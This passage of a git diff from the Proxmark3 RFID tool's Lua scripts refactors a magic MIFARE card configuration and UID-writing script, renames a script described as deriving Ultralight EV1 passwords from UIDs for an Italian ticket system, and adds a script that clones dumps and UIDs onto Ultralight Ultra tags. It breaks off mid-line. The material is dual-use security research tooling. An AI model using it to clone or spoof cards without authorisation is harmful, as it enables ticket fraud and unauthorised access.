command (1 for 20-23; 0 for 40-43) + -d Shadow mode + -g Gen1 mode -n Static encrypted nonces -r Signature sector + -2 Gen2/CUID mode + -7 CL2 mode (1 for F0 unfused; 0 for off) ]] + changelog = [[ Welcome, proxmark user! Here's a secret changelog of this script as its' life started. @@ -78,23 +93,26 @@ v1.0 - Memory access. Just like in the proxmark client. -- [[ Start introducing functions that get called later on ]] -- -- give up local function oops(err) - print(ansicolors.red.."[!]"..ansicolors.reset..' ERROR:', err) + print(cl.red.."[!]"..cl.reset..' ERROR:', err) core.clearCommandBuffer() return nil, err end + local function help() print(copyright) print(author) print(version) print(desc) - print(ansicolors.cyan..'Usage'..ansicolors.reset) + print(cl.cyan..'Usage'..cl.reset) print(usage) - print(ansicolors.cyan..'Arguments'..ansicolors.reset) + print(cl.cyan..'Arguments'..cl.reset) print(arguments) - print(ansicolors.cyan..'Example usage'..ansicolors.reset) + print(cl.cyan..'Example usage'..cl.reset) print(example) end + -- Sorry, didn't care to figure out custom bit amounts with the 14a lua lib. So here's this thing +-- 20/23 local function wupc2() return { [0] = 'hf 14a raw -akb 7 20', @@ -102,6 +120,7 @@ local function wupc2() } end +-- 40/43 local function wupc() return{ [0] = 'hf 14a raw -akb 7 40', @@ -112,6 +131,7 @@ end local function makenuid(uid) core.console('ana nuid -d '..uid) end + local function sendCmds(cmds) for i = 0, #cmds do if cmds[i] then @@ -120,41 +140,61 @@ local function sendCmds(cmds) end end end + local function wakeupmagic(writetype) - if writetype=="2" then sendCmds(wupc2()) elseif writetype=="4" then sendCmds(wupc()) end + if writetype == "2" then + sendCmds(wupc2()) + elseif writetype == "4" then + sendCmds(wupc()) + end end + local function calculate_block0(useruid) local uidbytes = utils.ConvertHexToBytes(useruid) local i = 1 local bcc = bxor(uidbytes[i], uidbytes[i+1]); - local length = #useruid / 2; + + -- floor division + local length = #useruid // 2; -- bcc - for i = 3, length, 1 do bcc = bxor(bcc, uidbytes[i]) end + for i = 3, length, 1 do + bcc = bxor(bcc, uidbytes[i]) + end -- block0 local block0 = "" - for i = 1, length, 1 do block0 = block0..string.format('%02X', uidbytes[i]) end + for i = 1, length, 1 do + block0 = block0..string.format('%02X', uidbytes[i]) + end return block0..string.format('%02X', bcc) end + local function cltwo_block0(uid) payload = uid payload = payload .. "884400000000000000" return payload end + local function SectorHeader(sector) - print("["..ansicolors.yellow.."="..ansicolors.reset.."] # | sector "..ansicolors.green..string.format("%02d", sector)..ansicolors.reset.." / "..ansicolors.green..string.format("0x%02X", sector)..ansicolors.reset) - print("["..ansicolors.yellow.."="..ansicolors.reset.."] ----+------------------------------------------------") + if sector == nil then return end + + print("["..cl.yellow.."="..cl.reset.."] # | sector "..cl.green..string.format("%02d", sector)..cl.reset.." / "..cl.green..string.format("0x%02X", sector)..cl.reset) + print("["..cl.yellow.."="..cl.reset.."] ----+------------------------------------------------") end + local function BlockParser(data, block) - if block == "0" or block == 0 then -- for block 0 - print("["..ansicolors.yellow.."="..ansicolors.reset.."] "..string.format("%02d", block).." | "..ansicolors.red..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..string.sub(data,19,20).." "..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)..ansicolors.reset) - elseif (block+1)%4 == 0 then -- for ST - print("["..ansicolors.yellow.."="..ansicolors.reset.."] "..string.format("%02d", block).." | "..ansicolors.yellow..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..ansicolors.magenta..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..ansicolors.reset..string.sub(data,19,20).." "..ansicolors.yellow..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)..ansicolors.reset) - else - print("["..ansicolors.yellow.."="..ansicolors.reset.."] "..string.format("%02d", block).." | "..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..string.sub(data,19,20).." "..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)) end + if data == nil or block == nil then return end + if block == "0" or block == 0 then -- for block 0 + print("["..cl.yellow.."="..cl.reset.."] "..string.format("%02d", block).." | "..cl.red..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..string.sub(data,19,20).." "..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)..cl.reset) + elseif (block+1)%4 == 0 then -- for ST + print("["..cl.yellow.."="..cl.reset.."] "..string.format("%02d", block).." | "..cl.yellow..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..cl.magenta..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..cl.reset..string.sub(data,19,20).." "..cl.yellow..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)..cl.reset) + else + print("["..cl.yellow.."="..cl.reset.."] "..string.format("%02d", block).." | "..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..string.sub(data,19,20).." "..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)) + end end + local function sendRaw(rawdata, keep) flags = lib14a.ISO14A_COMMAND.ISO14A_RAW + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC if keep == true then flags = flags + lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT end @@ -178,24 +218,28 @@ end local function readconf() configbuffer = sendRaw("E000", true) if string.len(configbuffer) ~= 36 then - oops("Tag sent wrong length of config!") - lib14a.disconnect() - return 1 end - return utils.ConvertHexToBytes(string.sub(configbuffer,1,32)) + oops("Tag sent wrong length of config!") + lib14a.disconnect() + return 1 + end + return utils.ConvertHexToBytes(string.sub(configbuffer, 1, 32)) end + local function writeconf(configbuffer) configbuffer=utils.ConvertBytesToHex(configbuffer) - print(ansicolors.yellow.."[|]".. ansicolors.reset .." The new config is: "..configbuffer) + print(cl.yellow.."[|]".. cl.reset .." The new config is: "..configbuffer) if sendRaw("E100", true) == "0A" then if sendRaw(configbuffer, true) == "0A" then - print(ansicolors.yellow.."[/]".. ansicolors.reset .." Config updated successfully") + print(cl.yellow.."[/]".. cl.reset .." Config updated successfully") else oops("Tag did not ACK config update!") lib14a.disconnect() - return 1 end + return 1 + end else oops("Tag did not ACK `E100` command!") lib14a.disconnect() - return 1 end + return 1 + end end -- End config functions @@ -244,22 +288,25 @@ function main(args) if o == 'w' then wipe = true end -- So one odd thing I noticed is the bool args like -h, -w don't work without a 2nd argument. So you now must do -h 1.. what? Why? -- ConfigStar - if o == 'g' then if a == "1" then gen1 = true elseif a == "0" then gen1 = false end end - if o == 'c' then if a == "1" then gen1com= true elseif a == "0" then gen1com= false end end - if o == 'b' then if a == "1" then keyblock= true elseif a == "0" then keyblock= false end end - if o == '2' then if a == "1" then cuid= true elseif a == "0" then cuid= false end end - if o == '7' then if a == "1" then cl2mode= true elseif a == "0" then cl2mode= false end end - if o == 'd' then if a == "1" then shadowmode = true elseif a == "0" then shadowmode = false end end - if o == 'a' then if a == "1" then magicauth= true elseif a == "0" then magicauth= false end end - if o == 'n' then if a == "1" then statenc= true elseif a == "0" then statenc= false end end - if o == 'r' then if a == "1" then sigsec = true elseif a == "0" then sigsec= false end end + if o == 'g' then if a == "1" then gen1 = true elseif a == "0" then gen1 = false end end + if o == 'c' then if a == "1" then gen1com= true elseif a == "0" then gen1com= false end end + if o == 'b' then if a == "1" then keyblock= true elseif a == "0" then keyblock= false end end + if o == '2' then if a == "1" then cuid= true elseif a == "0" then cuid= false end end + if o == '7' then if a == "1" then cl2mode= true elseif a == "0" then cl2mode= false end end + if o == 'd' then if a == "1" then shadowmode = true elseif a == "0" then shadowmode = false end end + if o == 'a' then if a == "1" then magicauth= true elseif a == "0" then magicauth= false end end + if o == 'n' then if a == "1" then statenc= true elseif a == "0" then statenc= false end end + if o == 'r' then if a == "1" then sigsec = true elseif a == "0" then sigsec= false end end end - if gen1 ~= nil or gen1com~= nil or keyblock~= nil or cuid~= nil or cl2mode~= nil or shadowmode~= nil or magicauth~= nil or statenc~= nil or sigsec~= nil then configwrite = true end - if targetbblk then if tonumber(targetbblk)>63 then oops("Block is above 63") return 1 end end - if targetblk then if tonumber(targetblk)>63 then oops("Block is above 63") return 1 end end - if targetsec then if tonumber(targetsec)>15 then oops("Sector is above 15") return 1 end end - if targetbsec then if tonumber(targetbsec)>15 then oops("Sector is above 15") return 1 end end + if gen1 ~= nil or gen1com~= nil or keyblock~= nil or cuid~= nil or cl2mode~= nil or shadowmode~= nil or magicauth~= nil or statenc~= nil or sigsec~= nil then + configwrite = true + end + + if targetbblk then if tonumber(targetbblk) > 63 then oops("Block is above 63") return 1 end end + if targetblk then if tonumber(targetblk) > 63 then oops("Block is above 63") return 1 end end + if targetsec then if tonumber(targetsec) > 15 then oops("Sector is above 15") return 1 end end + if targetbsec then if tonumber(targetbsec) > 15 then oops("Sector is above 15") return 1 end end -- -- Alright, here's the logic. -- 1. Set the write type (0x20, 0x40, 8000 auth, etc...) @@ -267,33 +314,42 @@ function main(args) -- 3. Form data to write -- 4. Issue commands if wipe == true then - print(ansicolors.red.."[/]"..ansicolors.reset.." Wipe issued! Nullifying other arguments!") - print(ansicolors.red.."[-]"..ansicolors.reset.." DO NOT REMOVE YOUR TAG!") + + print(cl.red.."[/]"..cl.reset.." Wipe issued! Nullifying other arguments!") + print(cl.red.."[-]"..cl.reset.." DO NOT REMOVE YOUR TAG!") + uid = nil signature = nil configwrite = nil + wakeupmagic(writetype) if sendRaw("F000", true) ~= "0A" then oops("DANGER! Tag did not ACK wipe command. The field has NOT been reset.") print("[ ] If you think the wipe succeeded, immediately do this:") print("hf 14a raw -kc E100; hf 14a raw -c 7AFF0000000000000000000000000008") - return 1 end + return 1 + end + writeconf(utils.ConvertHexToBytes("7AFF0000000000000000005A00000008")) + sendRaw("F800", true) -- here you only wipe the backdoor blocks and they're not super critical so might as well not check. sendRaw("A000", true) -- By this point I just rely on the tag. sendRaw("DE7715B8040804000000000000000000", true) - for i =0,15 do - blk=string.format("%02x", 4*i+3):gsub("0x","") + + for i =0, 15 do + blk=string.format("%02x", 4 * i + 3):gsub("0x","") sendRaw("A0"..blk, true) - sendRaw("FFFFFFFFFFFFFF078069FFFFFFFFFFFF",true) - sendRaw("A8"..blk,true) - sendRaw("FFFFFFFFFFFFFF078069FFFFFFFFFFFF",true) + sendRaw("FFFFFFFFFFFFFF078069FFFFFFFFFFFF", true) + sendRaw("A8"..blk, true) + sendRaw("FFFFFFFFFFFFFF078069FFFFFFFFFFFF", true) end + sendRaw("A807", true) - sendRaw("75CCB59C9BED70F0F8694B791BEA7BCC",true) - print(ansicolors.yellow.."[-]"..ansicolors.reset.." Wipe completed successfully") + sendRaw("75CCB59C9BED70F0F8694B791BEA7BCC", true) + print(cl.yellow.."[-]"..cl.reset.." Wipe completed successfully") lib14a.disconnect() end + -- Separator if targetblk or targetbblk or targetsec or targetbsec then uid = nil @@ -301,18 +357,51 @@ function main(args) configwrite = nil wakeupmagic(writetype) print("") + if targetblk or targetsec then - if targetblk then data = sendRaw("30"..string.format("%02x", targetblk), false) end - if targetblk then SectorHeader(targetblk/4) else SectorHeader(targetsec) end - if targetblk then BlockParser(data, targetblk) else for i=0,3 do BlockParser(sendRaw("30"..string.format("%02x", targetsec*4+i), true), targetsec*4+i) end end + if targetblk then + data = sendRaw("30"..string.format("%02x", targetblk), false) + end + + if targetblk then + -- floor division... + SectorHeader(targetblk // 4) + else + SectorHeader(targetsec) + end + + if targetblk then + BlockParser(data, targetblk) + else + for i=0, 3 do + BlockParser(sendRaw("30"..string.format("%02x", targetsec * 4 + i), true), targetsec * 4 + i) + end + end + elseif targetbblk or targetbsec then - if targetbblk then data=sendRaw("38"..string.format("%02x", targetbblk), false) end - if targetbblk then SectorHeader(targetbblk/4) else SectorHeader(targetbsec) end - if targetbblk then BlockParser(data, targetbblk) else for i=0,3 do BlockParser(sendRaw("38"..string.format("%02x", targetbsec*4+i), true), targetbsec*4+i) end end + if targetbblk then + data = sendRaw("38"..string.format("%02x", targetbblk), false) + end + + if targetbblk then + -- floor division + SectorHeader(targetbblk // 4) + else + SectorHeader(targetbsec) + end + + if targetbblk then + BlockParser(data, targetbblk) + else + for i =0, 3 do + BlockParser(sendRaw("38"..string.format("%02x", targetbsec * 4 + i), true), targetbsec * 4 + i) + end + end -- Actually is there an sprintf_hex in lua? end - lib14a.disconnect() + lib14a.disconnect() end + -- Separator if uid then if writetype == "2" or writetype == "4" then @@ -325,72 +414,101 @@ function main(args) payload = payload .. "04000000000000000000" elseif string.len(uid) == 14 then -- Same logic, but with raw anticollision data because that's what the tag accepts. :P - payload = calculate_block0("88"..string.sub(uid,1,6)) + payload = calculate_block0("88"..string.sub(uid, 1, 6)) payload = payload .. "04" - payload = payload .. calculate_block0(string.sub(uid,7,14)) + payload = payload .. calculate_block0(string.sub(uid, 7, 14)) payload = payload .. "08" payload = payload .. "00000000" end end + core.clearCommandBuffer() -- Now, let's write! 1. We wake up the tag in magic mode. -- 2. We will deal with the "easier" 7 byte UID stuff - if uid then if string.len(uid) == 14 then + wakeupmagic(writetype) - if f3perso == true then print("[?] WARNING: F3 perso write is set, but 7 byte UID is passed. Ignoring -3 argument") end + if f3perso == true then + print("[?] WARNING: F3 perso write is set, but 7 byte UID is passed. Ignoring -3 argument") + end + local configdata = readconf() + if configdata[10] ~= 0x5A and configdata[10] ~= 0xC3 and configdata[10] ~= 0xA5 then -- Enable CL2 mode if necessary print("[?] WARNING: Tag is not in 7 byte UID mode. Automatically updating to F0 unfused") - print(ansicolors.yellow.."[-]".. ansicolors.reset .." This is because the configuration byte responsible for CL2 was not found to be equal to 0x5A, 0xC3 or 0xA5, but rather: ".. string.format("%02x", configdata[10])) - print(ansicolors.yellow.."[\\]".. ansicolors.reset .." The old config is: ".. utils.ConvertBytesToHex(configdata)) - configdata[10]=0x5A + print(cl.yellow.."[-]".. cl.reset .." This is because the configuration byte responsible for CL2 was not found to be equal to 0x5A, 0xC3 or 0xA5, but rather: ".. string.format("%02x", configdata[10])) + print(cl.yellow.."[\\]".. cl.reset .." The old config is: ".. utils.ConvertBytesToHex(configdata)) + configdata[10] = 0x5A writeconf(configdata) end + if sendRaw("A800", true) ~= "0A" then oops("Tag did not ACK `A800` command!") lib14a.disconnect() - return 1 end + return 1 + end + print("[?] WARNING: nUID should be updated with this value:") - print(makenuid(uid)) - print(ansicolors.yellow.."[/]".. ansicolors.reset .." Use `--f3d` to update nUID for Perso F3 only.") - if sendRaw(payload, true) ~= "0A" then - oops("Tag did not ACK data to write!") - lib14a.disconnect() - return 1 end - print(ansicolors.yellow.."[-]".. ansicolors.reset .." Updating real block 0") - if sendRaw("A000", true) ~= "0A" then - oops("Tag did not ACK `A000` command!") - lib14a.disconnect() - return 1 end - if sendRaw(cltwo_block0(uid), false) ~="0A" then oops("Tag did not ACK data to write!") end - -- Now, let's work with 4 byte UIDs. - elseif string.len(uid)==8 then - wakeupmagic(writetype) - local configdata = readconf() - if configdata[10] == 0x69 or f3perso == true then -- If we have Perso: F3, then write backdoor blk 1 - if f3perso == true then print ("[?] WARNING: F3 flag enabled. Updating UID used for F3 perso") end - if sendRaw("A801", true) ~= "0A" then + print(makenuid(uid)) + print(cl.yellow.."[/]".. cl.reset .." Use `--f3d` to update nUID for Perso F3 only.") + + if sendRaw(payload, true) ~= "0A" then + oops("Tag did not ACK data to write!") + lib14a.disconnect() + return 1 + end + + print(cl.yellow.."[-]".. cl.reset .." Updating real block 0") + if sendRaw("A000", true) ~= "0A" then + oops("Tag did not ACK `A000` command!") + lib14a.disconnect() + return 1 + end + + if sendRaw(cltwo_block0(uid), false) ~="0A" then + oops("Tag did not ACK data to write!") + end + + -- Now, let's work with 4 byte UIDs. + elseif string.len(uid) == 8 then + + wakeupmagic(writetype) + local configdata = readconf() + + if configdata[10] == 0x69 or f3perso == true then -- If we have Perso: F3, then write backdoor blk 1 + + if f3perso == true then + print ("[?] WARNING: F3 flag enabled. Updating UID used for F3 perso") + end + + if sendRaw("A801", true) ~= "0A" then oops("Tag did not ACK `A801` command!") lib14a.disconnect() - return 1 end + return 1 + end + else -- Otherwise write real block 0. if configdata[10] == 0x5a or configdata[10] == 0xc3 or configdata[10] == 0xa5 then -- Disable CL2 if necessary print("[?] WARNING: Tag is not in 4 byte UID mode. Automatically disabling") - print(ansicolors.yellow.."[-]".. ansicolors.reset .." This is because the configuration byte responsible for CL2 was found to be equal to: ".. string.format("%02x", configdata[10])) - print(ansicolors.yellow.."[\\]".. ansicolors.reset .." The old config is: ".. utils.ConvertBytesToHex(configdata)) - configdata[10]=0x00 + print(cl.yellow.."[-]".. cl.reset .." This is because the configuration byte responsible for CL2 was found to be equal to: ".. string.format("%02x", configdata[10])) + print(cl.yellow.."[\\]".. cl.reset .." The old config is: ".. utils.ConvertBytesToHex(configdata)) + configdata[10] = 0x00 writeconf(configdata) end + if sendRaw("A000", true) ~= "0A" then oops("Tag did not ACK `A000` command!") lib14a.disconnect() - return 1 end + return 1 + end end - if sendRaw(payload, false) ~= "0A" then oops("Tag did not ACK data to write!") end + + if sendRaw(payload, false) ~= "0A" then + oops("Tag did not ACK data to write!") end end end + -- Separator if signature then wakeupmagic(writetype) @@ -400,35 +518,49 @@ function main(args) configdata[14] = 0x5A writeconf(configdata) end + if sendRaw("A805", true) ~= "0A" then oops("Tag did not ACK `A805` command!") lib14a.disconnect() - return 1 end + return 1 + end + if sendRaw(string.sub(signature,1,32), true) ~= "0A" then oops("Tag did not ACK data 1 to write!") lib14a.disconnect() - return 1 end + return 1 + end + if sendRaw("A806", true) ~= "0A" then oops("Tag did not ACK `A806` command!") lib14a.disconnect() - return 1 end + return 1 + end + if sendRaw(string.sub(signature,33,64), false) ~= "0A" then - oops("Tag did not ACK data 2 to write!") + oops("Tag did not ACK data 2 to write!") lib14a.disconnect() - return 1 end + return 1 + end end + if configwrite then - print(ansicolors.yellow.."[|]"..ansicolors.reset.." Welcome to ConfigStar!") + + print(cl.yellow.."[|]"..cl.reset.." Welcome to ConfigStar!") wakeupmagic(writetype) - config=readconf() + config = readconf() + if (gen1 == false and magicauth == false) or ((config[1]==0x85 and config[2] == 0x00) and magicauth==false) or ((config[12]==0x00) and gen1 == false) then - oops("What you are about to do is potentially dangerous. \n If you really want to continue (potentially leaving your tag in an unusable state), enter this line as given, without quotation marks:\n \"Yes, do as I say!\"") - local ans=io.read() - if ans ~="Yes, do as I say!" then + oops("What you are about to do is potentially dangerous. \nIf you really want to continue (potentially leaving your tag in an unusable state), enter this line as given, without quotation marks:\n \"yes\"") + local ans = io.read() + if ans ~="yes" then lib14a.disconnect() return 1 - else print(ansicolors.red.."[/]"..ansicolors.reset.." Brace yourself.") end + else + print(cl.red.."[/]"..cl.reset.." Brace yourself.") end + + end -- Baby oh baby -- Prepare for disappointment if gen1 == true then @@ -438,49 +570,59 @@ function main(args) config[1] = 0x85 config[2] = 0x00 end + if gen1com == true then config[3] = 0x85 elseif gen1com == false then config[3] = 0x00 end + if keyblock == true then config[7] = 0x5A elseif keyblock == false then config[7] = 0x00 end + if cuid == true then config[8] = 0x5A elseif cuid == false then config[8] = 0x00 end + if cl2mode == true then config[10] = 0x5A elseif cl2mode == false then config[10] = 0x00 end + if shadowmode == true then config[11] = 0x5A elseif shadowmode == false then config[11] = 0x00 end + if magicauth == true then config[12] = 0x5A elseif magicauth == false then config[12] = 0x00 end + if statenc == true then config[13] = 0x5A elseif statenc == false then config[13] = 0x00 end + if sigsec == true then config[14] = 0x5A elseif sigsec == false then config[14] = 0x00 end + writeconf(config) - print(ansicolors.yellow.."[\\]"..ansicolors.reset.." Completed!") + print(cl.yellow.."[\\]"..cl.reset.." Completed!") lib14a.disconnect() end end + main(args) diff --git a/client/luascripts/hf_mfu_uidkeycalc_italy.lua b/client/luascripts/hf_mfu_pwdgen_italy.lua similarity index 92% rename from client/luascripts/hf_mfu_uidkeycalc_italy.lua rename to client/luascripts/hf_mfu_pwdgen_italy.lua index d2fbdadde..25b111866 100644 --- a/client/luascripts/hf_mfu_uidkeycalc_italy.lua +++ b/client/luascripts/hf_mfu_pwdgen_italy.lua @@ -2,7 +2,7 @@ local bin = require('bin') local getopt = require('getopt') local lib14a = require('read14a') local utils = require('utils') -local ansicolors = require('ansicolors') +local cl = require('ansicolors') copyright = '' author = "Iceman" @@ -10,13 +10,15 @@ version = 'v1.0.2' desc = [[ This script calculates mifare Ultralight-EV1 pwd based on uid diversification for an Italian ticketsystem Algo not found by me. -]] + +]].. "You can also look at the native pm3 command `" .. cl.yellow .. "hf mfu pwdgen -h" .. cl.reset .. "`\n" + example =[[ -- if called without, it reads tag uid - script run hf_mfu_uidkeycalc_italy + script run hf_mfu_pwdgen_italy -- - script run hf_mfu_uidkeycalc_italy -u 11223344556677 + script run hf_mfu_pwdgen_italy -u 11223344556677 ]] usage = [[ script run hf_mfu_uidkeycalc_italy -h -u " @@ -56,11 +58,11 @@ local function help() print(author) print(version) print(desc) - print(ansicolors.cyan..'Usage'..ansicolors.reset) + print(cl.cyan..'Usage'..cl.reset) print(usage) - print(ansicolors.cyan..'Arguments'..ansicolors.reset) + print(cl.cyan..'Arguments'..cl.reset) print(arguments) - print(ansicolors.cyan..'Example usage'..ansicolors.reset) + print(cl.cyan..'Example usage'..cl.reset) print(example) end -- diff --git a/client/luascripts/hf_mfu_ultra.lua b/client/luascripts/hf_mfu_ultra.lua new file mode 100644 index 000000000..ed6a2b974 --- /dev/null +++ b/client/luascripts/hf_mfu_ultra.lua @@ -0,0 +1,357 @@ +local ansicolors = require('ansicolors') +local cmds = require('commands') +local getopt = require('getopt') +local lib14a = require('read14a') +local utils = require('utils') + +-- globals +copyright = '' +author = 'Dmitry Malenok' +version = 'v1.0.0' +desc = [[ +The script provides functionality for writing Mifare Ultralight Ultra/UL-5 tags. +]] +example = [[ + -- restpre (write) dump to tag + ]]..ansicolors.yellow..[[script run hf_mfu_ultra -f hf-mfu-3476FF1514D866-dump.bin -k ffffffff -r]]..ansicolors.reset..[[ + + -- wipe tag (]]..ansicolors.red..[[Do not use it with UL-5!]]..ansicolors.reset..[[) + ]]..ansicolors.yellow..[[script run hf_mfu_ultra -k 1d237f76 -w ]]..ansicolors.reset..[[ +]] +usage = [[ +script run hf_mfu_ultra -h -f -k -w -r +]] +arguments = [[ + -h this help + -f filename for the datadump to read (bin) + -k pwd to use with the restore and wipe operations + -r restore a binary dump to tag + -w wipe tag (]]..ansicolors.red..[[Do not use it with UL-5!]]..ansicolors.reset..[[) + +]] + + +local _password = nil +local _defaultPassword = 'FFFFFFFF' +local _dumpstart = 0x38*2 + 1 +--- + +--- Handles errors +local function error(err) + print(ansicolors.red.."ERROR:"..ansicolors.reset, err) + core.clearCommandBuffer() + return nil, err +end +--- + +-- sets the global password variable +local function setPassword(password) + if password == nil or #password == 0 then + _password = nil; + elseif #password ~= 8 then + return false, 'Password must be 4 hex bytes' + else + _password = password + end + return true, 'Sets' +end + + +--- Parses response data +local function parseResponse(rawResponse) + local resp = Command.parse(rawResponse) + local len = tonumber(resp.arg1) * 2 + return string.sub(tostring(resp.data), 0, len); +end +--- + +--- Sends raw data to PM3 and returns raw response if any +local function sendRaw(rawdata, options) + + local flags = lib14a.ISO14A_COMMAND.ISO14A_RAW + + if options.keep_signal then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + end + + if options.connect then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_CONNECT + end + + if options.no_select then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_NO_SELECT + end + + if options.append_crc then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC + end + + local arg2 = #rawdata / 2 + if options.bits7 then + arg2 = arg2 | tonumber(bit32.lshift(7, 16)) + end + + local command = Command:newMIX{cmd = cmds.CMD_HF_ISO14443A_READER, + arg1 = flags, + arg2 = arg2, + data = rawdata} + return command:sendMIX(options.ignore_response) +end +--- + +--- Sends raw data to PM3 and returns parsed response +local function sendWithResponse(payload, options) + local opts; + if options then + opts = options + else + opts = {ignore_response = false, keep_signal = true, append_crc = true} + end + local rawResp, err = sendRaw(payload, opts) + if err then return err end + return parseResponse(rawResp) +end +--- + +-- Authenticates if password is provided +local function authenticate(password) + if password then + local resp, err = sendWithResponse('1B'..password) + if err then return err end + -- looking for 2 bytes (4 symbols) of PACK and 2 bytes (4 symbols) of CRC + if not resp or #resp ~=8 then return false, 'It seems that password is wrong' end + return true + end + return true +end +-- + +-- selects tag and authenticates if password is provided +local function connect() + core.clearCommandBuffer() + local info, err = lib14a.read(true, true) + if err then + lib14a.disconnect() + return false, err + end + core.clearCommandBuffer() + + return authenticate(_password) +end +-- + +-- reconnects and selects tag again +local function reconnect() + lib14a.disconnect() + utils.Sleep(1) + local info, err = connect() + if not info then return false, "Unable to select tag: "..err end + return true +end +-- + +-- checks tag version +local function checkTagVersion() + local resp, err = sendWithResponse('60'); + if err or resp == nil then return false, err end + if string.find(resp, '0034210101000E03') ~= 1 then return false, 'Wrong tag version: '..string.sub(resp,1,-5) end + return true +end +-- + +-- sends magic wakeup command +local function magicWakeup() + io.write('Sending magic wakeup command...') + local resp, err = sendRaw('5000', {ignore_response = false, append_crc = true}) + if err or resp == nil then return false, "Unable to send first magic wakeup command: "..err end + resp, err = sendRaw('40', {connect = true, no_select = true, ignore_response = false, keep_signal = true, append_crc = false, bits7 = true}) + if err or resp == nil then return false, "Unable to send first magic wakeup command: "..err end + resp, err = sendRaw('43', {ignore_response = false, keep_signal = true, append_crc = false}) + if err or resp == nil then return false, "Unable to send second magic wakeup command: "..err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + return true +end +-- + +-- Writes dump to tag +local function writeDump(filename) + print(string.rep('--',20)) + local info, err = connect() + if not info then return false, "Unable to select tag: "..err end + info, err = checkTagVersion() + if not info then return info, err end + + -- load dump from file + if not filename then return false, 'No dump filename provided' end + io.write('Loading dump from file '..filename..'...') + local dump + dump, err = utils.ReadDumpFile(filename) + if not dump then return false, err end + if #dump ~= _dumpstart - 1 + 0xa4*2 then return false, 'Invalid dump file' end + print(ansicolors.green..'done'..ansicolors.reset..'.') + + local resp + for i = 3, 0x23 do + local blockStart = i * 8 + _dumpstart + local block = string.sub(dump, blockStart, blockStart + 7) + local cblock = string.format('%02x',i) + io.write('Writing block 0x'..cblock..'...') + resp, err = sendWithResponse('A2'..cblock..block) + if err ~= nil then return false, err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + end + + -- set password + io.write('Setting password and pack ') + info, err = reconnect() + if not info then return false, err end + local passwordStart = 0x27*8 + _dumpstart + local password = string.sub(dump, passwordStart, passwordStart + 7) + local packBlock = string.sub(dump, passwordStart+8, passwordStart + 15) + io.write('(password: '..password..') (pack block: '..packBlock..')...') + resp, err = sendWithResponse('A227'..password) + if err ~= nil then return false, err end + resp, err = sendWithResponse('A228'..packBlock) + if err ~= nil then return false, err end + if not setPassword(password) then return false, 'Unable to set password' end + info, err = reconnect() + if not info then return false, err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + + -- set configs and locks + for i = 0x24, 0x26 do + local blockStart = i * 8 + _dumpstart + local block = string.sub(dump, blockStart, blockStart + 7) + local cblock = string.format('%02x',i) + io.write('Writing block 0x'..cblock..'...') + resp, err = sendWithResponse('A2'..cblock..block) + if err ~= nil then return false, err end + info, err = reconnect() + if not info then return false, err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + end + + info, err = magicWakeup() + if not info then return false, err end + -- set uid and locks + for i = 0x2, 0x0, -1 do + local blockStart = i * 8 + _dumpstart + local block = string.sub(dump, blockStart, blockStart + 7) + local cblock = string.format('%02x',i) + io.write('Writing block 0x'..cblock..'...') + resp, err = sendWithResponse('A2'..cblock..block, {connect = i == 0x2, ignore_response = false, keep_signal = i ~= 0, append_crc = true}) + if err ~= nil then return false, err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + end + + print(ansicolors.green..'The dump has been written to the tag.'..ansicolors.reset) + return true +end +-- + +-- Wipes tag +local function wipe() + print(string.rep('--',20)) + print('Wiping tag') + + local info, err = connect() + if not info then return false, "Unable to select tag: "..err end + info, err = checkTagVersion() + if not info then return info, err end + + + local resp + -- clear lock bytes on page 0x02 + resp, err = sendWithResponse('3000') + if err or resp == nil then return false, err end + local 